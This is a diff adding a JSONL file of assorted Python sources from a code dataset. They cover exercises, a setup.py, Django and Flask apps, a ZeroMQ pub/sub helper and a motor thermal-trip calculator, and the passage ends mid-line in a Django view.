diff --git "a/4639.jsonl" "b/4639.jsonl" new file mode 100644--- /dev/null +++ "b/4639.jsonl" @@ -0,0 +1,613 @@ +{"seq_id":"492241962","text":"#Write a function called \"scramble\" that accepts a string\n#as an argument and returns a new string. The new string \n#should start with the last half of the original string\n#and end with the first half. \n#\n#If the length of the string is odd, split the string \n#at the floor of the length / 2 (in other words, the second\n#half is the longer half).\n#\n#For example:\n# scramble(\"abcd\") -> \"cdab\"\n# screamble(\"abcde\") -> \"cdeab\"\n# scramble(\"railroad\")) -> \"roadrail\"\n# scramble(\"fireworks\")) -> \"worksfire\"\n\n\n#Write your function here!\n\n# my solution:\n\n# import math\n\n# def scramble(a_string):\n# \thalf = math.ceil(len(a_string) / 2)\n# \treturn a_string[-half:] + a_string[:-half]\n\n# given solution:\n\ndef scramble(word):\n\tmidpoint = len(word) // 2\n\n\tfirst_half = word[:midpoint]\n\tsecond_half = word[midpoint:]\n\n\treturn second_half + first_half\n\n#Below are some lines of code that will test your function.\n#You can change the value of the variable(s) to test your\n#function with different inputs.\n#\n#If your function works correctly, this will originally\n#print the results you see in the examples above.\n\nstring1 = \"abcd\"\nstring2 = \"abcde\"\nstring3 = \"railroad\"\nstring4 = \"fireworks\"\nprint(string1 + \" -> \" + scramble(string1))\nprint(string2 + \" -> \" + scramble(string2))\nprint(string3 + \" -> \" + scramble(string3))\nprint(string4 + \" -> \" + scramble(string4))\n\nmystring = 'Hello World'\nprint(mystring[11])\nprint(len(mystring))","sub_path":"Chapter 4.2 - Strings/Exercises/scramble.py","file_name":"scramble.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"420993575","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nrequires = [\n 'future'\n]\ntest_requirements = [\n 'future',\n 'pytest'\n]\n\nsetuptools.setup(\n name=\"geolib\",\n version=\"1.0.6\",\n author=\"Anu Joy\",\n author_email=\"oss@cartographix.org\",\n description=\"A library for geohash encoding, decoding and associated functions\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/joyanujoy/geolib\",\n packages=setuptools.find_packages(),\n python_requires='>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*',\n install_requires=requires,\n tests_require=test_requirements,\n classifiers=[\n \"Programming Language :: Python :: 2.7\",\n \"Programming Language :: Python :: 3.4\",\n \"Programming Language :: Python :: 3.5\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n \"Development Status :: 5 - Production/Stable\",\n \"Topic :: Scientific/Engineering :: GIS\",\n \"Topic :: Software Development :: Libraries :: Python Modules\"\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"285272341","text":"# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License.\n\n\"\"\"Third-party notices generation.\n\nUsage: tpn [--npm=] [--npm-overrides=] --config= \n\nOptions:\n --npm= Path to a package-lock.json for npm.\n --npm-overrides= Path to a JSON file containing an array of names to override \"dev\" in .\n --config= Path to the configuration file.\n\n\"\"\"\nimport asyncio\nimport json\nimport pathlib\nimport sys\nimport textwrap\n\nimport docopt\nimport pytoml as toml\n\nfrom . import config\nfrom . import tpnfile\nfrom . import npm\n\n\nACCEPTABLE_PURPOSES = frozenset({\"explicit\", \"npm\", \"PyPI\"})\n\n\nasync def handle_index(module, raw_path, config_projects, cached_projects, overrides_path=None):\n _, _, index_name = module.__name__.rpartition(\".\")\n with open(raw_path, encoding=\"utf-8\") as file:\n raw_data = file.read()\n if overrides_path:\n with open(overrides_path, encoding=\"utf-8\") as file:\n raw_overrides_data = file.read()\n else:\n raw_overrides_data = None\n requested_projects = await module.projects_from_data(raw_data, raw_overrides_data)\n projects, stale = config.sort(index_name, config_projects, requested_projects)\n for name, details in projects.items():\n print(f\"{name} {details.version}: sourced from configuration file\")\n valid_cache_entries = tpnfile.sort(cached_projects, requested_projects)\n for name, details in valid_cache_entries.items():\n print(f\"{name} {details.version}: sourced from TPN cache\")\n projects.update(valid_cache_entries)\n failures = await module.fill_in_licenses(requested_projects)\n projects.update(requested_projects)\n # Check if a project which is stale by version is actually unneeded.\n for stale_project in stale.keys():\n if stale_project in projects:\n stale[stale_project].error = config.UnneededEntry(stale_project)\n return projects, stale, failures\n\n\ndef main(tpn_path, *, config_path, npm_path=None, npm_overrides=None, pypi_path=None):\n tpn_path = pathlib.Path(tpn_path)\n config_path = pathlib.Path(config_path)\n config_data = toml.loads(config_path.read_text(encoding=\"utf-8\"))\n config_projects = config.get_projects(config_data, ACCEPTABLE_PURPOSES)\n projects = config.get_explicit_entries(config_projects)\n if tpn_path.exists():\n cached_projects = tpnfile.parse_tpn(tpn_path.read_text(encoding=\"utf-8\"))\n else:\n cached_projects = {}\n tasks = []\n if npm_path:\n tasks.append(handle_index(npm, npm_path, config_projects, cached_projects, npm_overrides))\n if pypi_path:\n tasks.append(handle_index(pypi, pypi_path, config_projects, cached_projects))\n loop = asyncio.get_event_loop()\n print()\n gathered = loop.run_until_complete(asyncio.gather(*tasks))\n print()\n stale = {}\n failures = {}\n for found_projects, found_stale, found_failures in gathered:\n projects.update(found_projects)\n stale.update(found_stale)\n failures.update(found_failures)\n if stale:\n print(\"STALE \", end=\"\")\n print(\"*\" * 20)\n for name, details in stale.items():\n print(details.error)\n if failures:\n print(\"FAILURES \", end=\"\")\n print(\"*\" * 20) # Make failure stand out more.\n for name, details in failures.items():\n print(f\"{name!r} {details.version} @ {details.url}: {details.error}\")\n print(f\"NPM URL: {details.npm}\")\n print(textwrap.dedent(f\"\"\"\n [[project]]\n name = \"{name}\"\n version = \"{details.version}\"\n url = \"{details.url}\"\n purpose = \"{details.purpose or \"XXX\"}\"\n license = \\\"\\\"\\\"\n TODO\n \\\"\\\"\\\"\n \"\"\"))\n print()\n print(f\"Could not find a license for {len(failures)} projects\")\n if stale or failures:\n sys.exit(1)\n else:\n with open(tpn_path, \"w\", encoding=\"utf-8\", newline=\"\\n\") as file:\n file.write(tpnfile.generate_tpn(config_data, projects))\n\n\nif __name__ == \"__main__\":\n arguments = docopt.docopt(__doc__)\n main(\n arguments[\"\"],\n config_path=arguments[\"--config\"],\n npm_path=arguments[\"--npm\"],\n npm_overrides=arguments[\"--npm-overrides\"],\n )\n","sub_path":"tpn/tpn/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":4452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"602564814","text":"\n# 3. Exercise: Creating Files Based on User Input\n#\n# Write a script that prompts the user for:\n# - A file_name where it should write the content.\n# - The content that should go in the file. The script should keep accepting lines of text until the user enters an empty line.\n# - After the user enters an empty line, write all of the lines to the file and end the script.\n\ndef create_input_file():\n file_name = input(\"Please enter a file name: \")\n print(\"tape in your word:\")\n\n eof = False\n lines = []\n with open (file_name, 'w') as f:\n while not eof:\n line = input()\n if line.strip():\n lines.append(f\"{line}\\n\")\n else:\n eof = True\n f.writelines(lines)\n f.close()\n print(f\"Lines written to file: {file_name}\")\n\n with open (file_name, 'r') as f:\n words=f.read()\n print(words)\n\ncreate_input_file()\n\n","sub_path":"0.project/autoscript/3.Exercise.py","file_name":"3.Exercise.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"50528372","text":"from django.test import TestCase,Client\n\nfrom .models import Student\n# Create your tests here.\n\n\nclass StudentTestCase(TestCase):\n def setUp(self):\n Student.objects.create(\n name='zhouwu',\n sex = 1,\n email='admin@qq.com',\n profession = '程序员',\n qq= '1111',\n phone = '11111',\n )\n\n def test_create_and_sex_show(self):\n student= Student.objects.create(\n name='zhowu',\n sex=1,\n email='admin@dd.com',\n profession='程序员',\n qq= '3333',\n phone = '11111',\n )\n self.assertEqual((student.sex_show,'男','性别字段和内容展示不一样!'))\n\n def test_filter(self):\n Student.objects.create(\n name = 'zhouwu',\n sex=1,\n email='admin@dd.com',\n profession='程序员',\n qq='3333',\n phone='11111',\n )\n name = 'zhowu',\n students = Student.objects.filter(name=name)\n self.assertEqual(students.count(),1,'应该只存在一个名称为{}的记录'.format(name))\n\n","sub_path":"student_env/student/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"390504119","text":"import os\nfrom flask import Flask, request, jsonify\nfrom werkzeug.utils import secure_filename\nimport livepoly\nfrom invalidusage import InvalidUsage\n\nTRAIN_FOLDER = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'train_imgs')\nTEST_FOLDER = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'test_imgs')\nALLOWED_EXTENSIONS = set(['png'])\n\napp = Flask(__name__)\napp.config['TRAIN_FOLDER'] = TRAIN_FOLDER\napp.config['TEST_FOLDER'] = TEST_FOLDER\n\n\n@app.route(\"/train_imgs\", methods=['GET', 'DELETE'])\ndef train_imgs():\n if request.method == 'GET':\n return jsonify(os.listdir(app.config['TRAIN_FOLDER']))\n if request.method == 'DELETE':\n for file in os.listdir(app.config['TRAIN_FOLDER']):\n os.remove(os.path.join(app.config['TRAIN_FOLDER'], file))\n\n return \"OK\"\n\n\n@app.route(\"/train\", methods=['GET', 'POST'])\ndef train():\n if request.method == 'POST':\n if 'image' not in request.files:\n raise InvalidUsage('No file found in the message', status_code=400)\n image = request.files['image']\n if image.filename == '':\n raise InvalidUsage('File is empty or unnamed', status_code=422)\n if image and allowed_file(image.filename):\n filename = secure_filename(image.filename)\n image.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n\n try:\n livepoly.train()\n return \"OK\"\n except Exception:\n raise InvalidUsage('Exception during the training process', status_code=500)\n\n\n\n@app.errorhandler(InvalidUsage)\ndef handle_invalid_usage(error):\n response = jsonify(error.to_dict())\n response.status_code = error.status_code\n return response\n\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"578549527","text":"from lxml import html\nimport requests\n\npage = requests.get(\"https://www.baidu.com\")\npage.encoding = \"utf-8\"\ntree = html.fromstring(page.text)\n\noutcome = tree.xpath('//*[@class=\"fm\"]')\nprint(outcome[0].tag)\n\noutcome1 = tree.xpath(\"/div\")\nprint(outcome1)\noutcome2 = tree.xpath(\"//div/a/text()\")\nprint(outcome2)\noutcome3 = tree.xpath(\"//div/a/@href\")\nprint(outcome3)\noutcome4 = tree.xpath(\"//div/a/@class\")\nprint(outcome4)\n","sub_path":"xpath用法/xpath+requests_html.py","file_name":"xpath+requests_html.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"335651870","text":"# encoding: utf-8\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.core.management.base import BaseCommand\nfrom django.template import Context, loader\n\nfrom haystack import connections, constants\n\nfrom haystack.backends.solr_backend import SolrSearchBackend\nfrom haystack.exceptions import SearchBackendError\n\nclass Command(BaseCommand):\n help = \"Generates a Solr schema that reflects the indexes.\"\n\n def add_arguments(self, parser):\n parser.add_argument(\n \"-f\", \"--filename\",\n help='If provided, directs output to a file instead of stdout.'\n )\n parser.add_argument(\n \"-u\", \"--using\", default=constants.DEFAULT_ALIAS,\n help='If provided, chooses a connection to work with.'\n )\n\n def handle(self, **options):\n \"\"\"Generates a Solr schema that reflects the indexes.\"\"\"\n\n using = options.get('using')\n backend = connections[using].get_backend()\n\n if not isinstance(backend, SolrSearchBackend):\n raise ImproperlyConfigured(\"'%s' isn't configured as a SolrEngine).\" % backend.connection_alias)\n\n if options.get('filename'):\n schema_xml = self.build_template(using=using)\n if options.get('filename'):\n self.write_file(options.get('filename'), schema_xml)\n else:\n self.print_schema(schema_xml)\n return\n\n content_field_name, fields = backend.build_schema(connections[using].get_unified_index().all_searchfields())\n\n django_fields = [\n dict(name=constants.ID, type=\"string\", indexed=\"true\", stored=\"true\", multiValued=\"false\", required=\"true\"),\n dict(name= constants.DJANGO_CT, type=\"string\", indexed=\"true\", stored=\"true\", multiValued=\"false\"),\n dict(name= constants.DJANGO_ID, type=\"string\", indexed=\"true\", stored=\"true\", multiValued=\"false\"),\n dict(name=\"_version_\", type=\"long\", indexed=\"true\", stored =\"true\"),\n ]\n\n admin = backend.schema_admin\n # dict of fields, where field names are keys\n existing_fields = admin.get_fields()\n\n for field in fields + django_fields:\n prior_field = existing_fields.get(field['name'])\n\n # check if the field in `search_indexes` matches that currently defined in the Solr schema\n if prior_field and not self.compare_caseless_dict(prior_field, field):\n resp = admin.modify_fields(field, action='replace')\n else:\n resp = admin.modify_fields(field, action='add')\n\n self.log(field, resp, backend)\n\n def build_context(self, using):\n backend = connections[using].get_backend()\n\n if not isinstance(backend, SolrSearchBackend):\n raise ImproperlyConfigured(\"'%s' isn't configured as a SolrEngine).\" % backend.connection_alias)\n\n content_field_name, fields = backend.build_schema(\n connections[using].get_unified_index().all_searchfields()\n )\n return Context({\n 'content_field_name': content_field_name,\n 'fields': fields,\n 'default_operator': constants.DEFAULT_OPERATOR,\n 'ID': constants.ID,\n 'DJANGO_CT': constants.DJANGO_CT,\n 'DJANGO_ID': constants.DJANGO_ID,\n })\n\n def build_template(self, using):\n t = loader.get_template('search_configuration/solr.xml')\n c = self.build_context(using=using)\n return t.render(c)\n\n def print_schema(self, schema_xml):\n self.stderr.write(\"\\n\")\n self.stderr.write(\"\\n\")\n self.stderr.write(\"\\n\")\n self.stderr.write(\"Save the following output to 'schema.xml' and place it in your Solr configuration directory.\\n\")\n self.stderr.write(\"--------------------------------------------------------------------------------------------\\n\")\n self.stderr.write(\"\\n\")\n self.stdout.write(schema_xml)\n\n def write_file(self, filename, schema_xml):\n with open(filename, 'w') as schema_file:\n schema_file.write(schema_xml)\n\n def log(self, field, response, backend):\n try:\n message = response.json()\n except ValueError as exc:\n self.stderr.write('Unable to decode response from Solr: %s' % exc)\n raise SearchBackendError('Unable to decode response from Solr')\n\n if 'errors' in message:\n self.stdout.write(\"%s.\" % [\" \".join(err.get('errorMessages')) for err in message['errors']])\n elif 'responseHeader' in message and 'status' in message['responseHeader']:\n self.stdout.write(\"Successfully created the field %s\" % field['name'])\n else:\n self.stdout.write(\"%s\" % message)\n\n @staticmethod\n def compare_caseless_dict(d1, d2):\n \"\"\" Compare dictionaries with case insensitive keys \"\"\"\n d1 = {k: unicode(v).lower() for k, v in d1.items()}\n d2 = {k: unicode(v).lower() for k, v in d2.items()}\n\n return d1 == d2","sub_path":"haystack/management/commands/build_solr_schema.py","file_name":"build_solr_schema.py","file_ext":"py","file_size_in_byte":5086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"444996909","text":"import math\nimport operator\nfrom flask import Flask\nfrom flask import jsonify\nfrom flask import request\nfrom __future__ import division\nfrom textstat.textstat import textstat\n\napp = Flask(__name__)\n\n@app.route('/', methods=['POST'])\ndef hello_world():\n print(all_trad_scores(request.data))\n return 'Hello World!'\n\nif __name__ == '__main__':\n app.run()\n\ndef legacy_round(number, points=0):\n p = 10 ** points\n return float(math.floor((number * p) + math.copysign(0.5, number))) / p\n\n\ndef rescale(value, new_min=0.0, new_max=100.0):\n # values = list(values)\n old_min = 5\n old_max = 13\n\n new_v = (new_max - new_min) / (old_max - old_min) * (value - old_min) + new_min\n output = new_v\n\n return output\n\n\ndef text_standard1(text):\n grade = []\n\n # Appending Flesch Kincaid Grade\n lower = legacy_round(textstat.flesch_kincaid_grade(text))\n upper = math.ceil(textstat.flesch_kincaid_grade(text))\n grade.append(int(lower))\n grade.append(int(upper))\n\n # Appending Flesch Reading Easy\n score = textstat.flesch_reading_ease(text)\n if score < 100 and score >= 90:\n grade.append(5)\n FRE_score = 5.0\n elif score < 90 and score >= 80:\n grade.append(6)\n FRE_score = 6.0\n elif score < 80 and score >= 70:\n grade.append(7)\n FRE_score = 7.0\n elif score < 70 and score >= 60:\n grade.append(8)\n FRE_score = 8.0\n elif score < 60 and score >= 50:\n grade.append(9)\n FRE_score = 9.0\n elif score < 50 and score >= 40:\n grade.append(10)\n FRE_score = 10.0\n elif score < 40 and score >= 30:\n grade.append(12)\n FRE_score = 12.0\n else:\n grade.append(13)\n FRE_score = 13.0\n\n # Appending SMOG Index\n lower = legacy_round(textstat.smog_index(text))\n upper = math.ceil(textstat.smog_index(text))\n grade.append(int(lower))\n grade.append(int(upper))\n\n # Appending Coleman_Liau_Index\n lower = legacy_round(textstat.coleman_liau_index(text))\n upper = math.ceil(textstat.coleman_liau_index(text))\n grade.append(int(lower))\n grade.append(int(upper))\n\n # Appending Automated_Readability_Index\n lower = legacy_round(textstat.automated_readability_index(text))\n upper = math.ceil(textstat.automated_readability_index(text))\n grade.append(int(lower))\n grade.append(int(upper))\n\n # Appending Dale_Chall_Readability_Score\n lower = legacy_round(textstat.dale_chall_readability_score(text))\n upper = math.ceil(textstat.dale_chall_readability_score(text))\n grade.append(int(lower))\n grade.append(int(upper))\n\n # Appending Linsear_Write_Formula\n lower = legacy_round(textstat.linsear_write_formula(text))\n upper = math.ceil(textstat.linsear_write_formula(text))\n grade.append(int(lower))\n grade.append(int(upper))\n\n # Appending Gunning Fog Index\n lower = legacy_round(textstat.gunning_fog(text))\n upper = math.ceil(textstat.gunning_fog(text))\n grade.append(int(lower))\n grade.append(int(upper))\n\n # Finding the Readability Consensus based upon all the above tests\n d = dict([(x, grade.count(x)) for x in grade])\n sorted_x = sorted(d.items(), key=operator.itemgetter(1))\n final_grade = str((sorted_x)[len(sorted_x) - 1])\n score = final_grade.split(',')[0].strip('(')\n # print \"score: \",score\n if int(score) > 13:\n score = 13\n if int(score) < 5:\n score = 5\n\n scores = {'FRE_score': FRE_score,\n 'FKG_score': textstat.flesch_kincaid_grade(text)\n }\n return [scores, float(score)]\n\n\ndef all_trad_scores(text):\n fre = textstat.flesch_reading_ease(text)\n fkg = textstat.flesch_kincaid_grade(text)\n return [fre, fkg]\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"back-end/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"481421637","text":"import re\nfrom django.db.models import Q\nfrom django.shortcuts import render\nfrom django.http.response import JsonResponse\nfrom django.shortcuts import render, redirect, reverse\nfrom django.views.generic import View, ListView, DetailView\nfrom .models import Operator\nfrom re_shop_system import settings\nfrom django.core.paginator import Paginator, InvalidPage, EmptyPage, PageNotAnInteger\nfrom libs.paginators import page_range_func\n# Create your views here.\nclass OperatorList(View):\n\n def get(self,request):\n print(request.GET)\n search = request.GET.get('search')\n operators = Operator.objects.all()\n if search:\n operators = operators.filter(Q(operator_name__contains=search) | Q(operator_tel__contains=search)).order_by('operator_id')\n else:\n operators = operators.order_by('operator_id') # 用户未输入内容进行搜索\n per_page = settings.PER_PAGE\n # paginator存放：分成多少页，所有分页的信息\n # Paginator实例化需要两个参数，待分页对象list，每页数量\n # count输出对象数量、num_pages输出总页数\n paginator = Paginator(operators, per_page)\n try:\n page = int(request.GET.get('page',1))\n current_paginator = paginator.page(page)\n except (InvalidPage, EmptyPage, PageNotAnInteger) as ex:\n page = 1\n current_paginator = paginator.page(page)\n page_range = page_range_func(paginator, page, settings.MAX_PAGES)\n\n kwgs = {\n 'operators':operators,\n 'current_paginator':current_paginator,\n 'page_range':page_range,\n 'quert_dic':request.GET,\n }\n return render(request,'operator_list.html',kwgs)\n\nclass OperatorEdit(View):\n # return operator\n def get(self,request,id):\n operator = Operator.objects.get(pk=id)\n info = {\n 'operator':operator\n }\n return render(request,'operator_edit.html',info)\n\n # 涉及到更改和删除当前经营人信息就需要从路由系统传递一个id过来！！！\n def post(self,request,id):\n operator_name = Operator.objects.get(pk=id).operator_name\n operator_tel = request.POST.get('operator_tel')\n operator_idcard = request.POST.get('operator_idcard')\n tel_res = re.findall(r'1[3-8]\\d{9}',operator_tel)\n if tel_res and len(operator_idcard)==18:\n info = {\"code\":200,\"msg\":'保存成功'}\n Operator.objects.get(pk=id).delete()\n Operator.objects.create(operator_id=id,operator_name=operator_name,operator_tel=operator_tel,operator_idcard=operator_idcard)\n else:\n info = {\"code\":400,\"msg\":'电话格式或身份证输入有误'}\n return JsonResponse(info)\n\nclass AddOperator(View):\n\n def get(self,request):\n return render(request,'operator_add.html')\n\n def post(self,request):\n operator_name = request.POST.get('operator_name')\n operator_tel = request.POST.get('operator_tel')\n operator_idcard = request.POST.get('operator_idcard')\n tel_res = re.findall(r'1[3-8]\\d{9}',operator_tel)\n if tel_res and len(operator_idcard)==18 and operator_name:\n info = {\"code\":200,\"msg\":'保存成功'}\n Operator.objects.create(operator_name=operator_name,operator_tel=operator_tel,operator_idcard=operator_idcard)\n else:\n info = {\"code\":400,\"msg\":'信息输入有误'}\n return JsonResponse(info)","sub_path":"Shop_system/apps/oper/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"290471833","text":"# pylint: disable=maybe-no-member\nimport sys\nimport asyncio\nimport zmq\nimport zmq.asyncio\n\nfrom util import int2bytes, bytes2int, run\n\n\nclass Pub():\n def __init__(self, port, addr='*'):\n self.addr = addr\n self.port = port\n\n context = zmq.Context()\n self.socket = context.socket(zmq.PUB)\n self.socket.bind(f'tcp://{self.addr}:{self.port}')\n\n def send(self, topic, message):\n self.socket.send_multipart([\n bytes(topic, 'utf8'),\n bytes(message, 'utf8')\n ])\n\n def pub_cancel(self):\n self.socket.close()\n\nclass Sub():\n def __init__(self, port, addr='localhost'):\n self.addr = addr\n self.port = port\n\n context = zmq.asyncio.Context()\n self.socket = context.socket(zmq.SUB)\n self.socket.connect(f'tcp://{self.addr}:{self.port}')\n\n async def listen(self, topic, listener):\n self.socket.setsockopt(zmq.SUBSCRIBE, bytes(topic, 'utf8'))\n while True:\n string = await self.socket.recv_multipart()\n listener(string)\n \n def sub_cancel(self):\n self.socket.close()\n\nif __name__ == '__main__':\n pub = Pub('55501')\n\n async def send():\n while True:\n await asyncio.sleep(5)\n print(\"Sending...\")\n pub.send('10001', 'hullo')\n\n sub = Sub('55501')\n\n try:\n run(\n sub.listen('10001', print),\n sub.listen('10000', print),\n send(),\n )\n except KeyboardInterrupt:\n print(\"Exiting...\")\n exit()\n","sub_path":"pubsub.py","file_name":"pubsub.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"11003989","text":"import pygame as pg\r\nimport sys\r\nimport states as s\r\nimport constants as c\r\n\r\nif __name__ == '__main__':\r\n settings = {\r\n 'fps':c.FPS\r\n }\r\n\r\n app = s.Control(**settings)\r\n state_dict = {\r\n 'menu': s.Menu(),\r\n 'char_select': s.Char_Select(),\r\n 'game': s.Game()\r\n }\r\n app.setup_states(state_dict, 'menu')\r\n app.main_game_loop()\r\n pg.quit()\r\n sys.exit()\r\n","sub_path":"untitled-pygame/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"576024965","text":"###请输入对齐模式：\r\n##m = input(\"\")\r\n##s = \"PYTHON\"\r\n##if m ==\"右\":\r\n## m = \">\"\r\n##elif m ==\"中\":\r\n## m = \"^\"\r\n##else:\r\n## m = \"<\"\r\n##print(\"{0:*{1}30}\".format(s, m))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n###其中format数据格式化内容 ｛位置0 + : + 填充字符 +数据宽度+ . + 精度｝.format(a)\r\n####｛位置0 + :0x}.format(16)\r\n\r\n\r\nprint('{0:0x}'.format(16))\r\nprint('{0:0o}'.format(8))\r\nprint('{0:0b}'.format(2))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ns='PYTHON'\r\nflage=True\r\nwhile flage==True:\r\n x=input('input 对其方式（输入0退出输入）：')\r\n if x==0:\r\n break;\r\n elif x=='左':\r\n m=\"<\"\r\n elif x=='中':\r\n m=\"^\"\r\n elif x=='右':\r\n m=\">\"\r\n else:\r\n flage=True\r\n print('input erro,please reinput')\r\n continue;\r\n print(\"{0:*{1}30}\".format(s,m))\r\n\r\n \r\n","sub_path":"py二级/coding/str_Left_mid_Right.py","file_name":"str_Left_mid_Right.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"512605606","text":"\"\"\"\nThis is to calculate a typical thermal time to trip for an old relay called the RAMDE\nBut most motor curves follow should follow the same algo. we are using the calculation to calculate and test\nan modern ABB REM615 that is replacing that relay\nIt takes in a few arguments\n\n-tau = the thermal time constant of a motor\n-i = actual current injected\n-ip = previous current - running at that for longer than 5 x tau so that the temperature is stable .\n-ib = the rated current of the motor, the name plate current / ct ratio\n-k = security factor, set to 1.02 if not sepecified\n\nA usage example is:\n\nIn our example we have chosen a thermal time constant of 120s\nThe motor is a 132A motor and the cell has a CT ratio of 200, so 0.67\nwe will do the calculation with no pre load so a cold motor defaults to Ip = 0 if not specified\nwe will test an overload of 2 x Ib\npython thermal.py -tau 120 -i 1.34 -ip 0 -ib 0.67 -k 1.02\n\nIf one has previous current flowing for a good amount of time, like 5 x tau then add -ib\npython thermal.py -tau 120 -i 2.01 -ip 0.670 -ib 0.67 -k 1.02\n\"\"\"\n\nimport math\nimport argparse\n\nparser =argparse.ArgumentParser(description='Calculale the time to trip for a thermal curve')\n\nparser.add_argument('-tau', '--tau', type=float, metavar=' ', required=True, help='thermal time constant')\nparser.add_argument('-ip', '--iprev', type=float, metavar='', default=0, required=False, help='previous current')\nparser.add_argument('-i', '--injected', type=float, metavar='', required=True, help='current injected')\nparser.add_argument('-ib', '--rated', type=float, metavar='', required=True, help='full load rated secondary current')\nparser.add_argument('-k', '--security', type=float, metavar='', default=1.02, required=False, help='security factor')\n\n\nargs = parser.parse_args()\n\ndef trip_time (tau, injected, iprev, rated, securityFactor):\n \"\"\"This method calculated trip times\n it takes in\n tau: which is the set temperature constant for the system\n iprev: is the previous current that was flowing for more than 5 x tau in the system\n injected: is the secondary current value injected\n rated: is the secondary current value that is equivalent to the primary full load current\n securityFactor: is the value above full load that the element will operated eventually.\n\n It returns a time in seconds\n \"\"\"\n\n w = injected**2 - iprev**2\n x = injected**2 - (securityFactor*rated)**2\n y = w/x\n z = math.log(y)\n time_to_trip = tau * (z)\n\n return time_to_trip\n\nif __name__ == '__main__':\n\n print(f'The thermal trip time is: {round(trip_time(args.tau, args.injected, args.iprev, args.rated, args.security),3)}')\n","sub_path":"MotorProtection/thermal.py","file_name":"thermal.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"388620377","text":"from django.core.cache import cache\nfrom django.core.paginator import Paginator\nfrom django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom django.views.generic.base import View\nfrom django_redis import get_redis_connection\nfrom order.models import OrderGoods\n# Create your views here.\n\n\n# 127.0.0.1:8000\nfrom .models import GoodsSKU, GoodsType, IndexGoodsBanner, IndexPromotionBanner, IndexTypeGoodsBanner\n\n\n# 127.0.0.1:8000\nclass IndexView(View):\n \"\"\"主页\"\"\"\n def get(self, request):\n # 尝试从缓存中获取数据\n context = cache.get('index_page_data')\n\n if context is None:\n # 获取商品的种类信息\n types = GoodsType.objects.all()\n\n # 获取首页轮播商品信息\n goods_banners = IndexGoodsBanner.objects.all().order_by('index')\n\n # 获取首页促销活动信息\n promotion_banners = IndexPromotionBanner.objects.all().order_by('index')\n\n for type in types:\n # 获取type种类首页分类商品的图片展示信息\n image_banners = IndexTypeGoodsBanner.objects.filter(type=type, display_type=1).order_by('index')\n # 获取type种类首页分类商品的文字展示信息\n title_banners = IndexTypeGoodsBanner.objects.filter(type=type, display_type=0).order_by('index')\n\n # 动态给type增加属性，分别保存首页分类商品的图片展示信息和文字展示信息\n type.image_banners = image_banners\n type.title_banners = title_banners\n\n context = {'types': types,\n 'goods_banners': goods_banners,\n 'promotion_banners': promotion_banners}\n # 设置缓存\n # key value timeout\n cache.set('index_page_data', context, 3600)\n\n # 显示购物车数量\n user = request.user\n cart_count = 0\n if user.is_authenticated:\n # 用户已登录\n conn = get_redis_connection('default') # 链接redis\n cart_key = 'cart_%d' % user.id # 根据用户id获取购物车在redis中缓存的名字\n cart_count = conn.hlen(cart_key) # 获取购物车的数量\n\n # 组织模板上下文\n context.update(cart_count=cart_count)\n\n return render(request, 'index.html', context)\n\n\n# 127.0.0.1:8000/detail/\nclass DetailView(View):\n def get(self, request, goods_id):\n try:\n # 根据商品id查询该商品的详细信息\n sku = GoodsSKU.objects.get(id=goods_id)\n except GoodsSKU.DoesNotExist:\n # 商品不存在\n return redirect(reverse('goods:index'))\n\n # 获取商品分类\n types = GoodsType.objects.all()\n\n # 获取评价信息\n sku_orders = 